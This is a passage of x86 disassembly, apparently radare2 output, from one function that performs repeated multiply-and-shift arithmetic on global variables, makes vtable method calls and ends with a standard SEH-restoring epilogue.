sub edi, eax
push ecx
mov ecx, dword [ebp - 0x10d4]
mov eax, esp
mov dword [0x459b54], edi
mov dword [eax], ecx
mov eax, dword [ebp - 0x10d4]
test eax, eax
mov dword [ebp - 0x10d8], esp
je 0x420080
mov edx, dword [eax]
push eax
call dword [edx + 4]
mov ecx, 0x56d698
call fcn.00407720
mov ecx, dword [0x459b44]
mov esi, dword [0x459b58]
imul esi, esi, 0x171ed6e
mov eax, 0x5e407cd
imul ecx
mov ecx, dword [0x459b40]
sar edx, 0x14
add esi, edx
mov edi, edx
mov eax, 0x540f9495
imul ecx
shr edi, 0x1f
add edi, esi
sar edx, 0x17
add edi, edx
mov esi, edx
mov eax, 0x186e8b3d
imul ecx
mov eax, dword [0x459b38]
mov ecx, dword [0x459b50]
imul eax, eax, 0x53d33c3
sar edx, 0x17
imul ecx, ecx, 0xbdb188
shr esi, 0x1f
add esi, edi
mov edi, edx
shr edi, 0x1f
add esi, edx
add edi, esi
add edi, eax
sub edi, ecx
mov ecx, dword [0x459b54]
mov eax, 0x2742b221
imul ecx
mov ecx, dword [ebp - 0x10d4]
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
push 0
push ecx
mov dword [0x459b38], edi
call fcn.004096c0
mov ecx, dword [0x459b58]
mov eax, 0x5e407cd
imul dword [0x459b44]
mov esi, ecx
imul esi, esi, 0x171ed6e
sar edx, 0x14
add esi, edx
mov edi, edx
mov eax, 0x702fe9a3
imul dword [0x459b4c]
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x459b48]
shr edi, 0x1f
imul edx, edx, 0x4905557
add edi, esi
sub edi, eax
mov eax, dword [0x459b38]
imul eax, eax, 0xd0a84b
add edi, edx
mov edx, dword [0x459b40]
add edi, eax
mov eax, 0x4eb6fa85
imul edx
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x459b54]
sub edi, eax
sub edi, edx
add esp, 8
sub edi, 0x53d33c3
mov dword [0x459b40], edi
jmp 0x4201b2
mov ecx, dword [0x459b58]
mov eax, 0x5e407cd
imul dword [0x459b44]
mov esi, dword [0x459b50]
sar edx, 0x14
imul esi, esi, 0x18470b7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x10c8], eax
mov eax, 0x9d2b2fed
imul ecx
add edx, ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x58945bfd
imul ecx
sar edx, 0x17
add esi, edx
mov eax, edx
mov edx, ecx
imul edx, edx, 0x3cb4655
shr eax, 0x1f
add eax, esi
sub eax, edx
mov dword [0x459b48], eax
mov eax, dword [ebp - 0x10dc]
test eax, eax
mov byte [ebp - 4], 5
je 0x42022a
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [0x459b58]
mov eax, dword [ebp - 0x10f0]
test eax, eax
mov byte [ebp - 4], 4
je 0x420244
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov ecx, dword [0x459b58]
mov eax, dword [ebp - 0x10d4]
test eax, eax
mov byte [ebp - 4], 2
je 0x42025e
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [0x459b58]
mov eax, dword [ebp - 0x10e0]
test eax, eax
mov byte [ebp - 4], 1
je 0x420278
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov ecx, dword [0x459b58]
mov eax, dword [ebp - 0x10cc]
mov ebx, dword [0x459b44]
inc eax
mov dword [ebp - 0x10cc], eax
jmp 0x41df54
mov eax, dword [ebp - 0x10ec]
test eax, eax
mov byte [ebp - 4], 0
je 0x4202aa
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [0x459b58]
mov edx, dword [0x459b44]
imul ecx, ecx, 0x4b280d2
mov esi, edx
mov eax, 0x5e407cd
imul esi, esi, 0x171ed6e
imul edx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, dword [0x459b48]
imul eax, eax, 0x185d014
sub edi, esi
add edi, eax
mov eax, dword [0x459b4c]
imul eax, eax, 0x53d33c3
sub edi, eax
mov eax, 0x4eb6fa85
imul dword [0x459b3c]
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, dword [ebp - 0x10fc]
add edi, ecx
mov dword [0x459b50], edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
call fcn.0042cf11
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret